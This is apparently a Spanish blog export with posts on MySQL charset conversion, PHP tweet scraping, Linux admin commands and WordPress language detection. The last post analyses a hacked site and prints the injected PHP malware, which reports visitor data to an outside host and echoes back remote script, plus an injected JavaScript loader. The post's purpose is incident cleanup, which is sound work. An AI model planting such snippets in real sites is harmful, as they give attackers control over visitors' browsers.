<pre class="lang-sql prettyprint prettyprinted"><code><span class="kwd">alter</span><span class="pln"> </span><span class="kwd">table</span><span class="pln"> </span><span class="pun">nueva_tabla</span><span class="pln"></span><span class="pun"></span><span class="pln"> </span><span class="kwd">convert</span><span class="pln"> </span><span class="kwd">to</span><span class="pln"> character </span><span class="kwd">set</span><span class="pln"> utf8 </span><span class="kwd">collate</span><span class="pln"> utf8_general_ci</span><span class="pun">;</span></code></pre>
<pre class="lang-sql prettyprint prettyprinted"><code><span class="pun"> </span></code></pre>
Migrar de mysql 5.5 a 5.1 es algo que no recomiendo. En nuestro caso el servidor local es mysql 5.5 y de ahí se sacan los datos a varios sitios y uno de ellos el administrador de sistema pone pegas para actualizar. Afortunadamente en esa tabla no hay caracteres chinos.<br />
<br />
<br />
luego se exporta con el siguiente comando:<br />
<br />
<code>mysqldump -u username -p database --default-character-set=utf8 tabla_nueva > tabla_nueva.sql</code><br />
<br />
Lo conprimo para subirlo al servidor antiguo:<br />
<br />
<code>gzip </code><code>-9 tabla_nueva.sql</code><br />
<br />
y listo.<br />
otra opción es
CREATE TABLE nueva SELECT * FROM vieja WHERE 1=0
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-14882988310306891772015-01-11T09:00:00.000+01:002016-02-21T09:45:42.334+01:00Scraping Twitter Php 2016Esto de scrapear páginas webs como twitter y facebook es un absoluto rollo. Los pobres programadores que trabajan allí están obligados a cambiar su código cada x tiempo porque alguien de arriba les dice esto o lo otro.<br />
<br />
Por eso, cuando buscas algún código útil de como scrapear Twitter con php siempre te encuentras con código que funcionaba en el pasado 2014 o 2013 pero que no funciona ahora en el 2015.<br />
<br />
Yo he buscado y he encontrado esto:<br />
<br />
<a href="http://sledgedev.com/build-a-scraper-with-php">http://sledgedev.com/build-a-scraper-with-php</a> un código muy simple que debía funcionar hace poco.<br />
<a href="https://www.blogger.com/goog_1699047379"><br /></a>
<a href="http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/">http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/</a> un código un poquito más currado en el que el programador relata en el final que está hasta los cojones de los cambios que pasa de actualizarlo.<br />
<br />
De uno y de otro podemos coger ideas. En realidad, son códigos muy parecidos.<br />
<br />
Los dos hacen uso de la librería <a href="http://simplehtmldom.sourceforge.net/"><span class="crayon-c">http://simplehtmldom.sourceforge.net/</span></a><br />
<br />
<span class="crayon-c">y luego parsean gracias a esta librería.</span><br />
<br />
<span class="crayon-c">He analizado el código actual de Twitter y yo sólo necesito el tweet, ni la fecha, ni los rt ni nada más. Quizás en un futuro lo actualice para coger esa información o quizás alguien lo haga y nos lo enseñe. Si se quiere hacer los pasos son obvios coger en lugar del párrafo donde se encuentra el tweet, el div principal donde está toda la información del tweet.</span><br />
<span class="crayon-c"><br /></span>
<span class="crayon-c">El código para scrapear el contenido del tweet es este:</span><br />
<br />
<php?<br />
<blockquote class="tr_bq">
<span class="crayon-c">include 'simple_html_dom.php';<br />$i=0;<br />$html = file_get_html('https://twitter.com/pixies');<br />$tweets = $html->find('p[class=ProfileTweet-text]');<br />foreach ($tweets as $tweet) {<br /><br />$tweet=str_replace("&_nbsp;", " ", $tweet);<br />echo $i." - ".strip_tags($tweet)."\n";<br />$i++;<br /> if ($i >3){<br /> <br /> break;<br /> }<br />}<br />?></span></blockquote>
<br />
<span class="crayon-c">He añadido un break para mostrar solamente un número definido de tweets .- También un striptags para que no me muestre tags de código. Salían bastantes espacios en código por lo que con un str:_replace los he quitado.</span><br />
<span class="crayon-c"><br /></span>
<span class="crayon-c">Cómo veis un código muy sencillo por no llamarlo cutre. Como decía antes dejo para otro fin de semana sin obligaciones lo de currarme la fecha y demás campos informativos que se pueden sacar.</span><br />
<span class="crayon-c"><br /></span>
<span class="crayon-c">P.S: donde pone <b>pixies</b> hay que poner la cuenta de la que queráis obtener información. En mi caso pondré varias y las ejecutaré con un cron . Luego una página web mostrará el resultado. Algo así como lo último de los fulanitos....</span><br />
<span class="crayon-c"><br /></span>
<span class="crayon-c">P:S. Twtitter ha cam,biado su código ahora hay que poner</span><br />
<span class="crayon-c">$tweets = $html->find('p[class=tweet-text]');</span><br />
<span class="crayon-c"><br /></span>
<span class="crayon-c">Con esto el código es válido el 2016 hasta que lo vuelvan a cambiar. Estamos en febrero y todo sigue funcionando.</span><br />
<br />
<br />
<span class="crayon-c"><br /></span>
<span class="crayon-c"><br /></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-6636204166483895592014-12-29T08:54:00.000+01:002016-04-19T15:49:24.260+02:00Comandos útiles de linuxAquí iré añadiendo pequeños comandos que nos hacen la vida más útil cuando estamos en un servidor linux<br />
<br />
1. Averiguar tamaños de las subcarpetas dentro de un directorio ordenados por tamaño:<br />
<br />
<b> du -sk * | sort -rn</b><br />
<b>o</b><br />
<b> du -sm *</b><br />
<b>o</b><br />
<span style="background-color: white; font-family: Verdana, Geneva, sans-serif; font-size: 14px; line-height: 21px;">du -hsm * | sort -nr | head -5</span><br />
<br />
<br />
<br />
2. Ver los últimos mensajes de log:<br />
<br />
<b>sudo tail -150 /var/log/messages</b><br />
<br />
<br />
<br />
<br />
3. Buscar errores:<br />
<br />
<br />
<b>grep -i error /var/log/syslog</b><br />
<br />
<br />
<br />
4. Sincronizar carpetas:<br />
<br />
<br />
<b>rsync --inplace -rtv /usr/share/folder1/ /usr/share/folder2/</b><br />
<br />
<br />
<br />
5. Apagar el sistema en 90 minutos:<br />
<br />
<br />
<b>sudo shutdown -h +90</b><br />
<br />
6. Bajarse archivos por ssh de un servidor a otro<br />
<br />
<b>scp admin@dominio.com:/home/admin/public_html/backup.zip /home/usuario/backups/</b><br />
<br />
<br />
7. Averiguar los procesos que hay en el sistema:<br />
<br /><b>ps -AHo pid,cmd</b>
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-46357840276184052762014-11-26T12:08:00.001+01:002015-03-09T11:11:42.217+01:00Detectar idioma con php en wordpressLa mayoría de los plugins de traducción como mqtranslate o qtranslate utilizan la variable lang para establecer el idioma del artículo. Por ello si estamos tuneando la plantilla de wordpress podemos utilizar alguna de las funciones que ya vienen por defecto con esos plugins pero si eres un manitas de php puedes utilizar lo siguiente:<br />
if ($_GET['lang']==en){<br />
?><br />
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a><br />
<br />
?> <br />
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a><br />
<br />
Vamos que con poner el idioma que corresponde podemos hacer tantas condiciones queramos con un if y si son muchas pues con un switch.<br />
<br />
Esto funciona si ponéis la variable directamente:
<b> </b><br />
<br />
<b>tunuevaweb.com?lang=en</b><br />
<br />
Si tenéis urls amigables mejor utilziar la función propia el plugin:<br />
<br />
<b>if(qtrans_getLanguage()=='en')</b>
El nuevo plugin qtranslate X cambia la función hacia:
<b>qtranxf_getLanguage</b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-89905339024967469382014-03-31T12:16:00.000+02:002014-03-31T12:16:00.115+02:00Sitio hackeado por ftpEl jueves pasado me llamó un viejo cliente sobre una web que hice hace 4 años. Si buscabas el dominio en Google le aparecía como código malicioso y no podía entrar. El sitio tenía varios <b>wordpress</b>, una sección hecha por mi en <b>php</b> y un <b>oscommerce</b>.
Al parecer inyectaron un código en todos los ficheros acabados en header.php e index.php:
<br />
<br />
<pre>error_reporting(0); ini_set('display_errors',0); $wp_hm76 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hm76) && !preg_match ('/bot/i', $wp_hm76))){
$wp_hm0976="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hm76);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hm0976);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_76hm = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_76hm,1,3) === 'scr' ){ echo $wp_76hm; }
</pre>
<pre>
</pre>
Este código se conecta a un servidor dándole información sobre nuestra url y sobre nuestro navegador.Después puede descargar cualquier de forma automática cualquier código que haya en ese servidor.
Viendo las fechas de modificaciones de ficheros ví que un par de meses después se inyectó código en numerosos archivos con extensión <b>.js</b>
<br />
<b><br /></b>
<pre>document.write(" script src="http://smartbue.com.ar/zr4txTdc.php" type="text/javascript"></"+ "script>");</pre>
<pre>
</pre>
<pre>En ese caso, utilizan otro dominio infectado para descargar ficheros o lo que sea.
Después de revisar tanto wordpress y Oscommerce analicé los accesos vía ftp y voilà. Los días de los cambios de ficheros hubo acceso desde ip alemana y austriaca el segundo día.
Creo que no vale la pena investigar esas ips.
Cambio de contraseña y comunicar a mi cliente que revise sus equipos en busca de troyanos que buscan passwords de ftp. Sobretodo no utilizar <b>filezilla</b>. Todos sabemos ya que guarda las contraseñas en texto plano.
</pre>
<pre>
</pre>
<pre>Por cierto , después de reportar a Google que el sitio ya no estaba infectado tardó menos en 12 horas en volverse a mostrar.</pre>
Unknownnoreply@blogger.com0